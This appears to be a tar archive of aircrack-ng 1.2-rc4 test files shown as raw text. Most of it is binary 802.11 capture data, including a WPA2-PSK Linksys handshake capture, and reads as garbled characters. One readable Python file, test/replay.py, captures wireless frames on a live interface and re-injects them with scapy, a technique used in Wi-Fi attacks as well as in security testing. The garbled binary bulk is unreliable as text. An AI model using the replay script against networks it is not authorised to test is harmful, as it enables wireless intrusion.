LAŸ/]T„BPçúÊ÷K­Ž®w¨–;{ÁO¢n;p8CóûPÝ6ƒsÔÊ–½ùàÚTüáXàˆ8D6Fs‚ Ô T¡ LD6Fu‚VVBÿÿÿÿÿÿ¿2) T¡ LAמ{êaWq=SdoÙ¶b•ÚBE:ŒHí9o¹õ=ìBsÉqd¨ê@ɪ+áW8<~m'Só`¨Ó“¶D6FtŒ Ô T¡ LD6FuŽVVBÿÿÿÿÿÿ¿2) T¡ L Aò³²©J…£1¼Ò¤ vê"¢*yˆ©ŠÄ­<¥8··.Ú\Däö(RœÛ@DÖXÃ+J@ê #H[̵ %D6Fs˜ Ô T¡ LD6FušVVBÿÿÿÿÿÿ¿2) T¡ L0A~zò *µôsâØk<æÀ–ôÇQÀ?`ȇ!gŸ¾Ë£ôÚðñJ1€°±~DØ"4èÜ(Ô™Í:sD6Ft¤ Ô T¡ LD6Fu¦VVBÿÿÿÿÿÿ¿2) T¡ L@A ìž…Ó«Õºfñ”Ymþé³>,Ü8º‰‚Æ.s¡"îb¢Sç‰=ég*FdgTŽA¾u‘À¦eÊÓÄjÌQ•D6Fs® Ô T¡ LD6Fu°VVBÿÿÿÿÿÿ¿2) T¡ LPA®bf(µ¦GÛM•À¦+¨(þ5Ü%¥§Cã9™è wÓPì´ü~¢Êz«Ý `x'nm'òÃ/¨"[D6Ftº Ô T¡ LD6Fu¼VVBÿÿÿÿÿÿ¿2) T¡ L`Aw΂·ªa ¯ˆ sO(0¢Åõ¾ôI·ì­¶êÓ†ðL:éyú³!ÕÖ8ƒ{¦{8#Öék™e•γD6FsÆ Ô T¡ LD6FuÈVVBÿÿÿÿÿÿ¿2) T¡ LpA,œQ×§¾6¯#$¦W”bÎîßzÍ¥ÖïMrIè,v:;Ã‰Š¿ð…PZ2A&}%Uƒ¬+NÝ]Oíc\\ªD6FsÒ Ô T¡ LD6FtÒVVBÿÿÿÿÿÿ¿2) T¡ L€A«üSr%#½6…ŸßG¯5|/ð k€`Éßûõ1Aãosjâ&Ýæ0V g‘ó-ºá@‘8›§|¡D6Fs* Ô T¡ LD6Fu*VVBÿÿÿÿÿÿ¿2) T¡ LA3`ÄÜ/'Dg%#&‹!•®âÑ—Á)e*MÉD««pB¸IÉó¬736—Ó çÎØêJ`±PÌm—D6Ft* Ô T¡ LD6Fv*VVBÿÿÿÿÿÿ¿2) T¡ L AÐR¼D)¹na…ðЦú¿ÚZ;I$‹«{j`Þë߯+?Ðd. ±tvÿúì»ú邉ۇiº’©¼@>D6Ft, Ô T¡ LD6Fu.VVBÿÿÿÿÿÿ¿2) T¡ LÀA¢âÐ/³!½%‚½*Šßgk(è7ø¹%2ä{Ìõa¼tš€‘É!ýàÊJÁž€…­î‹y ¦áܰvŸ8D6Fs8 Ô T¡ LD6Fu:VVBÿÿÿÿÿÿ¿2) T¡ LÐAOÀˆè‚©ŸÚºœX{½ÞŽäª]WÉF%¢k‡)¿¿åod¦¼×d×WÕîê×H<âiF$¾ðryÄD6FsD Ô T¡ LD6FuFVVBÿÿÿÿÿÿ¿2) T¡ LàAœ]¶Ð1Ö»¼'‘HôgÞ»}¿{köoÞð#¥ücJ)ªZO‡žfd£‰WÚ×$ž9îfúy×-°-ìèD6FtP Ô T¡ LD6FuPVVBÿÿÿÿÿÿ¿2) T¡ LðA&®¼ ÖÙ·CŠý~¶,dn>öÄåeÄÇŒ<ÈþCë¦_^ÍÆS]j§qŒ×UÕ9ecZâD6FtZ Ô T¡ LD6Fu\VVBÿÿÿÿÿÿ¿2) T¡ LB,èµ_ù¸¸8ßæÜBY ÐlEoWlÑÀÓ+²èÞïðÊøüCÔ\MµRÇ·óë+|‡æär¨VUSMD6Ftf Ô T¡ LD6FthVVBÿÿÿÿÿÿ¿2) T¡ LBúqá)}݇ŒæÉ¢2æQ~øâ?)§ívè_u÷èþýrTËDšø‚—ø#Gñç&ßÅ%è]fKaV¶/ë¯ÄD6Ftr Ô T¡ LD6FutVVBÿÿÿÿÿÿ¿2) T¡ L Byº$ã‘gT–ÅV¿IP |UeèÄž]ˆ€á^\/ ~ïPö–ïf =N|ýM*SG·!Å®¬hé(²ðáVqµMD6Ft| Ô T¡ LD6Fu~VVBÿÿÿÿÿÿ¿2) T¡ L0B­ÜdÊÔwùß#WûÞ¾ Ø·;#A{RIWIUk®ÔÂæG›Œ4ê´'UdºÔ5*(UÜo~†Ìɹfa D6Ftˆ Ô T¡ LD6FuŠVVBÿÿÿÿÿÿ¿2) T¡ L@B¼ÐëtGËe°Ä² qã9¿naôÚÍý^ÜÇüKË%úJl鳇«•.×s\Š˜,UÀwùUD6Ft” Ô T¡ LD6Fu–VVBÿÿÿÿÿÿ¿2) T¡ LPBPq†,?}Ô®'ÕŒ>î1Vù„+’XŸWŒ¦w—Ô >– ºú¶pÅÅ_’_Qe«P¼n!wÛQÿÔ"ÐD6Ft  Ô T¡ LD6Fu VVBÿÿÿÿÿÿ¿2) T¡ L`B°ðß_ ZNDðaàÛ?…€³hŽºÞžBÈÃç)Côä“ÁSS³ÝÞ¸zýV§d'¯>­;ÃVÉš4ÿÈç¥Å‹D6Ftª Ô T¡ LD6Fu¬VVBÿÿÿÿÿÿ¿2) T¡ LpB¹ ó^NóÞÇÎ-˜÷5Ü”ÙÞ×ÿØŒ;mºf¢w(8ƒ•Ë­¾Gz¸üÚÞÜbBIIx,‚| ƒ·I$ÑD6Ft¶ Ô T¡ LD6Fv¸VVBÿÿÿÿÿÿ¿2) T¡ L€BŠ`o>öøßGKØ~Ô[®m½%ÂÒFw™^ç0-Á¤Ð"¸Dè ÁùxC‡ÝÎ}…‘D.U†äTD6FtÂ Ô T¡ LD6FuÄVVBÿÿÿÿÿÿ¿2) T¡ LB“v*W0q×”ñøXO½0>({ÏÝÛ;îZfÔèØÌ ^• ùÅÒ©G›øýbþ‹z¼4PôO^ëBÖ9D6FtÎ Ô T¡ LD6FuÎVVBÿÿÿÿÿÿ¿2) T¡ L B}.‰vÀ*¼(‚|æ~ò’éÛÈ8 …òý˜k\ñFvWñýhsSo„îÝâfHJT€‘©3yr" ²6D6FtØ Ô T¡ LD6FuÚVVBÿÿÿÿÿÿ¿2) T¡ L°BóülÀ›”øY/™æŠ«s>8'…ãTKˆ}")ŒºãT¬‹ŒIbR UÜCJ·QËÚË>&5pD6Ftä Ô T¡ LD6FtæVVBÿÿÿÿÿÿ¿2) T¡ LÀBç4G=€׎$’ªZEÐÚ=ÞWIÎg„prŠÖ„p]òB_hg‡H[÷Û*â ûÐ7ÖüçuòD6Ftð Ô T¡ LD6FuòVVBÿÿÿÿÿÿ¿2) T¡ LÐB¸~/Ã?lÇo®”ákáò2 Ò°z‹Ù÷'ËÛ8…@C‰ýs™­C|ˆ»ßl<œZ4ç0ÊÊgïE÷AbÄb×D6Ftú Ô T¡ LD6FuüVVBÿÿÿÿÿÿ¿2) T¡ LàB´»ÄÊQ캮àcVn‚[ø¦"K²½i KSÑKk¡×TüT†~Ùìp@ªj*ÝTΚ:òD6Ft Ô T¡ LD6FvVVBÿÿÿÿÿÿ¿2) T¡ LðBI`jlðþ/¡nÄ-j®aôl&‡¤"sÆò†–Z£pÀš€•ù ÎàŒâ 9:úéßd(§o™ÊÇÙøD6Fs Ô T¡ LD6FuVVBÿÿÿÿÿÿ¿2) T¡ LC†p]Kl¶nBy+è–¢»qô?ÅAgAýáxŠ`ªËV0ñî΄,ÝyÅŽ¨ê‹jžˆÿó•̲D6Ft Ô T¡ LD6FtVVBÿÿÿÿÿÿ¿2) T¡ LCŸ8í‡RŸLräjíaŇ]+§­ºñ„òYe]r»@ vö§¹[™zh³‘Hˆƒî€j:§/¤ Ð|ó›‹ZD6Ft( Ô T¡ LD6Fu*VVBÿÿÿÿÿÿ¿2) T¡ L CPôû^ À„ÛÔ»ŒÇÊœCÞ* hÀºZZZ´&è\4¾à1³rŒÌîR½ÚÀåQ?·RÔXÊ:^[;D6Ft4 Ô T¡ LD6Fu6VVBÿÿÿÿÿÿ¿2) T¡ L0C_~åx¼Úˆ>öP z]à¡Ú˜3|kµ¡­ƒä=ÚÅ÷õ Îj•ýƒ^°V@<ØÚ¢È 49üÊÀA·=D6Ft@ Ô T¡ LD6FuBVVBÿÿÿÿÿÿ¿2) T¡ L@CGîhÔÛš5ó1Œ%Xí !Žgc2¬âù `]{G¥yŽ8КMD+¼fó‚Îä·ct¢A³S"Ûï!ø˜D6FtJ Ô T¡ LD6FvLVVBÿÿÿÿÿÿ¿2) T¡ LPC—Z•‡Kº¿cº?bp$,¼T/«‚ÒJŒ)óÎsT(Îs_ÇÁ¤®XÛB_†?hé(BÖ¾êUJjD6FsV Ô T¡ LD6FuXVVBÿÿÿÿÿÿ¿2) T¡ L`Cmðã¶ÿh;}€Xÿ€5hWίoÅ“¸‹.óš›#X‹øfˬáh—%a |ßÒó?¦pÉ@þؼØat.øÁD6Fsb Ô T¡ LD6FudVVBÿÿÿÿÿÿ¿2) T¡ LpCÐþ×|•žG{üŒîm™]’eP¬L€×dï© #½·»Öp£þ¾ ÷”ƒ\75©÷dmRþO!bG-‹“œD6Ftn Ô T¡ LD6FunVVBÿÿÿÿÿÿ¿2) T¡ L€C#¨·Å Y1€„ Z‘Ùqsá‹P‹e1ï³^\K*Z(i¸½®Þ¤9¸…(GDàB€'¼/×WS`Êö|žD6Ftx Ô T¡ LD6FtzVVBÿÿÿÿÿÿ¿2) T¡ LCš&+:ÇÕ*«Qƒg²½Ä+¾¢V+íßԸ̷õò£v­rXKht{¸ßÒ2$~ÍU-~kÿD6Ft„ Ô T¡ LD6Ft†VVBÿÿÿÿÿÿ¿2) T¡ L°C¡F0(sЄ$ “Ú–¹…Õ%My;>w;mïúlë6 /ªÂ,Œ%^‡¨9¿âÆFOUY“íÙr³ŽÎw9)D6Fr Ô T¡ LD6Ft’VVBÿÿÿÿÿÿ¿2) T¡ LÀCã–üpc[8VÛÊÖwÉ >’+%G[‰äÔQr•CbÞM þŠƒTÂÞ‘üd«hÃcÕE¯éã|tûD6Ftœ Ô T¡ LD6FuœVVBÿÿÿÿÿÿ¿2) T¡ LÐC*”ö2Ë*'‘×VEÞò2^¿Éݬ ¼Íe"´ëW}ÇÊ1gV(¾èRçìRœòžR†ª’­)GCD6Ft¦ Ô T¡ LD6Ft¨VVBÿÿÿÿÿÿ¿2) T¡ LàCæ”\177<ðÍvmN-çªFÆØ—ÂÝ Þ…W:;œYhˆ5,€ôTžÈâ*|¿¦•e U5z"ÓÁD6Fsþ Ô T¡ LD6FuþVVBÿÿÿÿÿÿ¿2) T¡ LðCsP™ÔÕ›u`éªêsfPüñlÍad[òZKeC:íñç†us9ÄõY’¯(òÕkõbš¶ÙéXÍIÏD6Ftþ Ô T¡ LD6FvþVVBÿÿÿÿÿÿ¿2) T¡ LD2¢òw6ÝWqk€‹ƒÝ³äæÏkh±(zä¬zY¸¼Ú[,º¬OZiZ+q[ºµXo[ØZôw áe£W¹D6Ft Ô T¡ LD6FuVVBÿÿÿÿÿÿ¿2) T¡ LDjóæâCåje¥7½ÏÐW‚É ˆ7rOÓtÕH/$Ò·‡³¸ÏkV„YÊfs$?5ÃHŽ®Ñ€sReÄ7aD6Ft Ô T¡ LD6FuVVBÿÿÿÿÿÿ¿2) T¡ L DÀnv™-±dï’2E¹¼*ï”à6u0“6Ú,Ûý›î6€’Qª"ùþ:”µ5¹˜c$ZxOk¹®¨EvEÞ]ÇLòD6Ft Ô T¡ LD6FuVVBÿÿÿÿÿÿ¿2) T¡ L0D”–WßSÐn¬q{JÞ]ih“:Alà³³¨C áÅ„*9räº¥ÌÆÚ ?;ä¾ð2ßÀ¢Äî¹\„⼆sõD6Ft$ Ô T¡ LD6Fu&VVBÿÿÿÿÿÿ¿2) T¡ L@DÈdyCÍÅËã\›TM²†ñ›+ …ËhðPØRwΦ“ ^wjºLE÷3_£=%‹~DL]%öEP D6Ft0 Ô T¡ LD6Fu2VVBÿÿÿÿÿÿ¿2) T¡ LPDµn—TGä@EÛ£ÌÝ ü½¸ÒÊ¢[5sú»´žü R‚q¨~Ès¬"/TšåQPâ5Ù] ÇÏ–ÎAÖ½ÀúSD6Ft< Ô T¡ LD6Ft<VVBÿÿÿÿÿÿ¿2) T¡ L`DÔº8…ášL1™F»ÈܲoɃcÏÇ–smôœ_ ¨§3“™&;j ѽ@ÕòY´Ô©áГ!ÿ%˜‚Œ8D6FtF Ô T¡ LD6FuHVVBÿÿÿÿÿÿ¿2) T¡ LpDI:‚ åø*v¼µ¯áœdÚbè:è;QSª*Q^KÛ +F‰˜;Ì`#äI3ˆ3ÓóK¹Xð­ÔtéyD6FtR Ô T¡ LD6FuTVVBÿÿÿÿÿÿ¿2) T¡ L€DeÀ…w¤Æ3¹ÕJ""ÎèÙs%W²~JhMbùsë ‚úu µü»PG¨~Ëmü9l´l¢²å*ÌÜÏøå«çD6Ft^ Ô T¡ LD6Fu`VVBÿÿÿÿÿÿ¿2) T¡ LD‹ú´£¦uûg´rÃòFqH&ôàõuth‡Eß³‘í³äŽróCä†Lj£Èu nü³ð<êÙ¶~ úÓŸD6Fsj Ô T¡ LD6FujVVBÿÿÿÿÿÿ¿2) T¡ L DËnøH&SÊ-§4·cj´³aGhYg¤|ûMvY¤$–wøœH-þJ/8µ§þ¿½ÄŒä+R«k7Wz¢D6Ftt Ô T¡ LD6FvvVVBÿÿÿÿÿÿ¿2) T¡ L°DgtÖKØn€hžDÎTwŽg€·F3A¬½ÞÍaÀ(®0Þr‡¼©AQ从Á欫‚% 3Ò(R[HüÃ~JD6Ft€ Ô T¡ LD6Fu‚VVBÿÿÿÿÿÿ¿2) T¡ LÀDzð[jú ä°¤£jÀ¡^#QLRoPÍÈ«ú_3fmãÏû±óÆ}ÁÕÒ‚q¢°¹œÍ ´©£þWz޼ËD6FsŒ Ô T¡ LD6FuŽVVBÿÿÿÿÿÿ¿2) T¡ LÐDÞ<”82LE«5\n@u,>b¤Œ¼¸eê–Q´ŠŒí¬Ÿ$aìZŠüºÒäKÄÝ]›1ƒu¡N>ÁÛÞçD6Ft– Ô T¡ LD6Fu˜VVBÿÿÿÿÿÿ¿2) T¡ LàDX¸`$0ßß]¸–VþT,˜™s2Q.‡uN‰tŠ©¤E?èû'ªEaSµõ¼W˜—õ"j,Fs6â|¸3”aD6Ft¢ Ô T¡ LD6Ft¤VVBÿÿÿÿÿÿ¿2) T¡ LðDqÎE_Å/ET«¬JNNòƒ9«ì_ JkÚÄÔ|YÎ…&Uq®u.î  âúÞ´¹Ûeþ•h—«y¨øf‡®õØ™‹ ` .‰Ø”ñŠkEg2D6FtB Ô T¡ LD6FtDVVBÿÿÿÿÿÿ¿2) T¡ LàEL8áˆ"!ã¦Î7r†ihN>auµJ… :”¾@0ëí©EôÐk[h襼ìN¯´mLøú%ØcHW~D6FtN Ô T¡ LD6FuPVVBÿÿÿÿÿÿ¿2) T¡ LðEA2Hn€¼Žvü³0y=ϧÆUrO Q àb8½ç§i {®NO0#3I39¶l7ÿOž4ëV8†VéD6FtZ Ô T¡ LD6Fu\VVBÿÿÿÿÿÿ¿2) T¡ LF \¼6ËÒ{!÷„žªÁ¤È—²uŽ9ʼúKLBiÇÝ’œª}w%j`Â:­ô¨ðÔ|=¯ð'ᕃD6Ftd Ô T¡ LD6FufVVBÿÿÿÿÿÿ¿2) T¡ LFü‚ÇûROðkÛŽ‘ŒN$ÈókÄTªÇÆ%/KE˜Ž¥Ðêuż¦ÈNð2‡àeïfôFxÓ|æ„}Ý „)Pü±D6Fsp Ô T¡ LD6FvrVVBÿÿÿÿÿÿ¿2) T¡ L FÖ<– ªü)½§Ïš ‹»é³;ØË„Šºß?3ä^0äÎv[¥à ’=Çùj"¶ùD¤7€¿¸D6Fs| Ô T¡ LD6Fu~VVBÿÿÿÿÿÿ¿2) T¡ L0F°Æþ"§Pâ"âãøL§^$ZÞgáOu 6^ùгsG3ëÁk¨Aùòt’ûÖðhú×ÓãdsåPU†D6FtÔ Ô T¡ LD6FuÔVVBÿÿÿÿÿÿ¿2) T¡ L@F—’á1 ÿE4RÖ]RÍè{æköWÚ$ÑÔ#ßZ5 /X åØ=uÑ[Oø‹ç?¢GW­ÜŠ–ÈÛÓD6FsÔ Ô T¡ LD6FvÔVVBÿÿÿÿÿÿ¿2) T¡ LPFŠZÕm¥’pHrwëi<i‰Lçîìí¥çÇLëU{“raÕÖì{½.™ù|v4Ü?¸÷Üê4㣠šD6FtØ Ô T¡ LD6FuÚVVBÿÿÿÿÿÿ¿2) T¡ L`FÉØ­©QNqi‡g ÂtRƒ¹XúЃv’LmÊxFÓ»ÖU€ié Ð礀bt*õ"á‡>:Aiç L-ZøD6Ftâ Ô T¡ LD6FtäVVBÿÿÿÿÿÿ¿2) T¡ LpFÙ–´¢ˆ/éR[àU¬N ¤‰º³¦­ˆÄÉNkáò‘µø«­HJÿ¬¥^…ÑVh~R;„‹€ßgƒ+/ÐD6Fsî Ô T¡ LD6FuðVVBÿÿÿÿÿÿ¿2) T¡ L€Fä–ù´êæÁ„1Sݸ<|…Vf2÷(ä=ím-”&Gi‘Ušcãh NÖÙõ*µØ|çÔV4 ø|Ëbu(D6Ftú Ô T¡ LD6FuüVVBÿÿÿÿÿÿ¿2) T¡ LF>Êû¯ÉÎè~&\M­´×—|µ.8\ÖŒ¸Ï{ QRô Ô T¡ LD6Fu@ VVBÿÿÿÿÿÿ¿2) T¡ LðF Œ_2‡ÙT@“Å‘“ðbs<Œ%Ù„ïÊkCKÑcúÞ©Rîµïå&Œº‰oXH©2Öf sÚñ–D6FtJ Ô T¡ LD6FuL VVBÿÿÿÿÿÿ¿2) T¡ LGåêo¶£AsÉðªU„Rè2³T”•¼ÐÅD-"©ŸV™@ FÂ2­º±›²cBEs¤-Œ˜b9œ²œÿäµ\zD6FsV Ô T¡ LD6FuV VVBÿÿÿÿÿÿ¿2) T¡ LG :Zš·g\Ðþé³;„Àxfù¯Vwð>ŽwÅ3¤´Ñör`3'¢ý5އ BÅWö—};ž\–:ÑD6Ft` Ô T¡ LD6Fub VVBÿÿÿÿÿÿ¿2) T¡ L GtjæV_ˆ~/qßé £ÁB1ÞÖ¼~œMâÄi]‹o…:#UbÉ8m¢ÈGmµÀG~ž#sß«´±¨Ã¬Ý£¥FD6Fsl Ô T¡ LD6Fun VVBÿÿÿÿÿÿ¿2) T¡ L0G®$È/…&€Ï¿;‡¹D{µ€•½Ÿ×Á‘9ñŒ®DÞ´¹½Ì#ÒÍŒ­ÊÔ…ð7Š*÷ ÕD6Fs¦ Ô T¡ LD6Ft¦ VVBÿÿÿÿÿÿ¿2) T¡ LGgÒ å|=©q+¼U*V8Ìá2·{²SUBÉŠ_V¤MAã\CsçA?ÙaLBÇ}vÎ)¦]±þ˜ÅÌjD6Fs° Ô T¡ LD6Ft² VVBÿÿÿÿÿÿ¿2) T¡ L GrH‹ô]f[§ß‚JÊ4Ž?ï…dsG˜óç°o}.åíQ¯¹Ö«ÆúB¼5æki¢=u×·"E¨ ¯ÞM¨ZäD6Ft¼ Ô T¡ LD6Fu¾ VVBÿÿÿÿÿÿ¿2) T¡ L°GH°qrËÕ™\è0Ú:˜œ p°"ÙÅ1mœÚÞ›èúÛzi~ÁO·¾Jåø#ovcÌ”£\®[Èwjò祾D6FtÈ Ô T¡ LD6FuÊ VVBÿÿÿÿÿÿ¿2) T¡ LÀGNÈ®ƒ‘t¤E’»ŽÖvçïæRÈHì0i×7Ð}Ϻžõp–µ˜Ëú&,ïT»Øq¡î7»ÃKVacÕx0-­UD€Uí²áX%¸„ªþ\y±HÄ&•ˉ1T­ID6Fs Ô T¡ LD6Ft VVBÿÿÿÿÿÿ¿2) T¡ LH?Ì[Ä€ô„£=†>;ÏoØÍÉ#ÙIâf\êh‡•5™“j(è¤ýìHNÑCz›Ô#ŒŽžqD6Fs Ô T¡ LD6Ft VVBÿÿÿÿÿÿ¿2) T¡ L H:4%ª²{° æµý3o‘ZwÔØC¡£›û2Ó½QÊ­½":ÛÌYJï• é§ª6^¸IÄ&k™– ­­D6Fs Ô T¡ LD6Ft VVBÿÿÿÿÿÿ¿2) T¡ L0Ht‰ ªMâ/(¶ƒ!OfIDi¼»ü-}û Ô—C1;"k‹½‘þ½ð,%‡}ñ°í€T«¿Ç‡i9#@ëÈMD6Fs$ Ô T¡ LD6Fu$ VVBÿÿÿÿÿÿ¿2) T¡ L@HA¨óð™¹~$¯ñez-ƒ}TY›âS—VWµï;¨(aÔ·Á(èRQX©…ÿiüRÉ’ë"ÖBîo#-êùl¦D6Ft. Ô T¡ LD6Ft0 VVBÿÿÿÿÿÿ¿2) T¡ LPHè^$jè3ý¿.tG£ WìF§Ù[b¸jS7xõçäôtfÏTDÜyfÚiåÍÌô´Ý™*²ŸKD6Fs: Ô T¡ LD6Fu< VVBÿÿÿÿÿÿ¿2) T¡ L`H£PžØõí~¿2 ZW‘Ø6Ÿ°/P †s”ÉØ6FNœsîŽÍÚ rÃ9‹íȉ)á¢öG¼4G=9mD6FsF Ô T¡ LD6FuH VVBÿÿÿÿÿÿ¿2) T¡ LpH‘@!ž•¢¤ì’kC´*–Ý'PÙ"zCÇIr5ÜðÿZ‡Åã4Ó€ Èýy!ÅŒûÏéñÓ‚‰…ÜÄQD6FsP Ô T¡ LD6FtR VVBÿÿÿÿÿÿ¿2) T¡ L€HRªúÁœ³öDÑ&‚ž3 žpN>ï;Rgüç…î#%í4Œ.IÐ^gÖÖ±ügcK‚2Ó~†ªÍáLD6Fs¨ Ô T¡ LD6Ft¨ VVBÿÿÿÿÿÿ¿2) T¡ LHÓ¬•-ªâ*Ÿm¦<ѧcÄv~ú˜ƒ†É˜Ši|;ÜÈ ^nþQaìûF‚"jÞ¯PeªY/¶²=àD6Fs¨ Ô T¡ LD6Fu¨ VVBÿÿÿÿÿÿ¿2) T¡ L H©ž>0Q:0¦zh •­>¤ÏÓ]6S—d ÍÇ/òë7»©M'(M3]®‚¡¹®µÜ‡ûézþM7¦äJD6Ft¬ Ô T¡ LD6Fu® VVBÿÿÿÿÿÿ¿2) T¡ L°H'°n\¶ÆÂÙu ‚eD Ѷ4¯ê%ƒ%1¸õ~øo!ÐT@@Åó†ö »ÍXÅÿoˆ4qÖµ<¿ñ…D6Ft¸ Ô T¡ LD6Fuº VVBÿÿÿÿÿÿ¿2) T¡ LÀHPörâYC" #븵í©ðRžéï`Q!Úgb2V _!¦ã½¤T"!Ì7B£Ï|,iß1*›hµ-ØD6FtÄ Ô T¡ LD6FuÆ VVBÿÿÿÿÿÿ¿2) T¡ LÐH÷J†©9!^{¦hnš ‰ A¤æá3"Ö>„Ç>?ç˜ÁŒÀ¢^Ú_™-Žú1Ôõj.CÒOÓ´:á¸#I2D6FsÎ Ô T¡ LD6FuÐ VVBÿÿÿÿÿÿ¿2) T¡ LàH1Ú?ïÒ›RF¬¯ãÉCÊ@ˆ&®†q8YuSÖ%ðWübQYÕÚIâÝ I þRŠ¥ ß_0ZÑO¿©ìD6FtÚ Ô T¡ LD6FuÜ VVBÿÿÿÿÿÿ¿2) T¡ LðH`€zCÝT³†§^òSfµ?ñÅÛ)à™3-¯¢x×Y‹:™O±ô';O@¦Èø73°ˆÇifÌnû‚D6Ftæ Ô T¡ LD6Fuè VVBÿÿÿÿÿÿ¿2) T¡ LIêÂÙðŒ?±;0_’§èPÎ3Ú׈6…/‚ÃD˜%öu{@}Ä‚ßUY‚_yï¯z)ßÏÚ¢9ïyœÏGZ.D6Ftò Ô T¡ LD6Fuò VVBÿÿÿÿÿÿ¿2) T¡ LI­|«=ëpc§?j?¨&+À=® tÎÊÕ ù_ö¼ZBJÐT©?„\XXn4ᦢÛ~8/‹ÊωùD6Fs Ô T¡ LD6Fu VVBÿÿÿÿÿÿ¿2) T¡ L IÊè߸}½ûUÃëíƒGÇ‚µ)íP JÞ¾$ ÀåÁs/Hs:v2Ö`÷ÿ%ñÈê@véºDÝ8à±®ÌD6Fs Ô T¡ LD6Fu VVBÿÿÿÿÿÿ¿2) T¡ L0I…r–¹ÒúäËVÎÕ*dçkƒ¨Â*£}€áÝÅŸpµÛÏpdÌDMö|5ö®›Ðø½´Çk»6’kÏD6Fs Ô T¡ LD6Fu VVBÿÿÿÿÿÿ¿2) T¡ L@Iã¹mS‘[ çh²D/aþW‡"|¥åO냖¹¯ú%•”l"ÆôÁÖ‹pu*Áž%L „J;š(ñç‡ÃD6Ft Ô T¡ LD6Fu VVBÿÿÿÿÿÿ¿2) T¡ LPI¼\0~é]ÎI($€ºqI™8ÞJ^™À™F]fó…ú‚¯éÝ´–œ#—F¾ÅJ›K÷ÃöëÙ“¸>|÷Þ8D6Ft* Ô T¡ LD6Fu. VVBÿÿÿÿÿÿ¿2) T¡ LpI'”Lž O†ìúô,—r Ÿ8Bƒ–u­<ñ#êçpVµâƒ/³mü›¼[šbzb,™÷*‚YŽaircrack-ng-1.2-rc4/test/replay.py0000755000000000000000000000216012112536537015555 0ustar rootroot#!/usr/bin/env python import sys from scapy import * import pcapy from impacket.ImpactDecoder import * try: conf.verb=0 except NameError: # Scapy v2 from scapy.all import * conf.verb=0 if len(sys.argv) != 2: print "Usage: ./replay.py " sys.exit(1) interface=sys.argv[1] max_bytes = 2048 promiscuous = False read_timeout = 100 # in milliseconds packet_limit = -1 # infinite pc = pcapy.open_live(interface, max_bytes, promiscuous, read_timeout) def recv_pkts(hdr, data): replay = True if data[11] == "\xFF": return # separate ethernet header and ieee80211 packet raw_header = data[:11] + "\xFF" + data[12:14] header = Ether(raw_header) try: # end of separation packet = Dot11(data[14:]) except struct.error: # Ignore unpack errors on short packages return # manipulate/drop/insert dot11 packet print packet.summary() # end of manipulation # construct packet and replay if replay == True: data = header/packet sendp(data, iface=interface) pc.loop(packet_limit, recv_pkts) # capture packets aircrack-ng-1.2-rc4/test/wpa2-psk-linksys.cap0000644000000000000000000012725512004033544017532 0ustar rootrootÔò¡ÿÿiºdYDæH †Â¤…ÎU˜ï †Â¤…@œºdYDõ ÔÎU˜ïºdYDúH †Â¤…ÎU˜ï †Â¤…PœºdYDÿ ÔÎU˜ïºdYDèèBÔÎU˜ï †Â¤…fãä€!  ‹™Ñ@ÒbŸÔúá{ ÈÛÝÙ`Ò‰ ûðšQ‘vÂ:'{u2äh\Ê$y8¿è¿ü.DƒŽÖ3acrp[R½|P`$…‹Š³c\[ ”¯¥èÄ®e’¨&ý(C7Lmy•@Zö˜·×yûþ½ Åøw¯˜žô­Î@Ì(ëÆ©×ù˜ü»Ãf”NênÝ0;eký¨h.~ªCäe&ƒ†áhß\ß=…V41*¿oµÖϾéÉ6ç1ƒ[úJ)bþv@íd¸*Ç<µvÙ+:ÞÁªªÕ$¿t‘Ù³“ƒÚ¦°ÒǾ ݇ÿ¢!•é;—Þb<|ñüX!(y힥J³HŠöÍÑ´Tæü[‡Ög ÔNözfÁ‡Ãž°¾´¸ÊjT€r#ßpJµkïV”–ÀeyÀň&R 2Ðâ.š16ñK).hlg6ÀCã•êÎâ-4=–)´MaÕÛÞÎeÌü0 û’ÒЬŸkäò/†ö‘Ö—h'ÑKO’Úc2¿•аÅÂZ©1g#!Å–—-F»?‚J1 l!«RKœ‰ß»€O¨xæ› –¸t“2È:r1Xrì«3`ë ´5~@ t$±Ù„Æ=ˆo}ŒýâYµ$᛿„öCg•ˆR‡‚GÂ?®V*1Ù'Æï 8“‘œªÆ:&n ±Áï ¨‚ÄZ(ÔÐFɼ¬7h¾oO`oî¸4:}ПɕÁ=Èë„þB×ò®ðÏ•#T·.hyâó"çoQ^¢ãÓµmêwÀ³¼OUòÈcÖy•Óv5: ä¸áûáõ·ÄzfûæY›`Åå±GÌÜ·ž¸Uû]Ïi*…UUégd9fÚà”äÑÙ>½TÖIÝ"ßºÎ Æ ŸêêÝ%줱1yS`ãà5ˆqÆÕátLиìÝÒ9æ´äý9ð[VÎå œr"Nœ¥;kfE1é@R;07Œ±¹ÛÝÚ#D¸ÐgEð6{Åz=qãàÌàC!BgÇ5uC8 [«Úlü†Û¸s+72ë†àĺËAZ°÷¨AµÕ„x ŠlR°¬ª6e!ñö9W‰ú‹¼ø/ZæQçH_ÛWú+…dt° ƒQ1Y‹\›¸È V@xîÖi½rZQû—å¦Þ/H[ðèì²j‘YjËKäÒ›LÆ‘ñä Óöî/EÞX6ÿDuŸ†ö 5ºþ-\“€!> ¨h9V¦#éJ4×g$]V¨CMåÇ*î6‘ìy½$àyÈÊé»8iÒ5,ÏI sИEÚzýoö î½ÍHnýTÄã ¸šÀñ·U8ÇÕv½ü£U¿:³‚‰³ >T¼0ú·ÃùŸ¾ü‡‰ÒVù‹˜Ú]Uã¾9kCÇë*0¬¬¬(¼dYDK” ÔÎU˜ï¼dYD™Ÿ»»:ÎU˜ï †Â¤… †Â¤…à&ªªˆŽ—Ê®¡Pe.›Â cr Péët±ŸÿèqÜL¡æôH¯…f®„©o|ƒÂôq~L"…Ç80‚ WvY©Ò5WsÄi4Ð,U©ÏjÃo¡Jž¦ïqm¶/Ì »@n>¢Sù&qeGѶ±¼dYDಃƒ †Â¤…ÎU˜ï †Â¤….ªªˆŽ_ Aâaˆm´Þd"ÇÂ$`Q¼dYDæ³ ÔÎU˜ï¼dYD¶¸QQA †Â¤…ÎU˜ïfãä . •Ã-XŸMëâ'Äé±,zfj5€Š¾s«£k ópš”ð¶S,Ö“[Y¼dYD±¾^^BÔÎU˜ï †Â¤…fãäð& ^U7YÚñš½^¦0ž@LVÄ% °0v|òæËÝäZJÇCÛ8ÁÙ$…e̘5vþTËSCû>ÎH¼dYD¾úmm€ÿÿÿÿÿÿ †Â¤… †Â¤…P'hÆ;%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYDäŒmm€ÿÿÿÿÿÿ †Â¤… 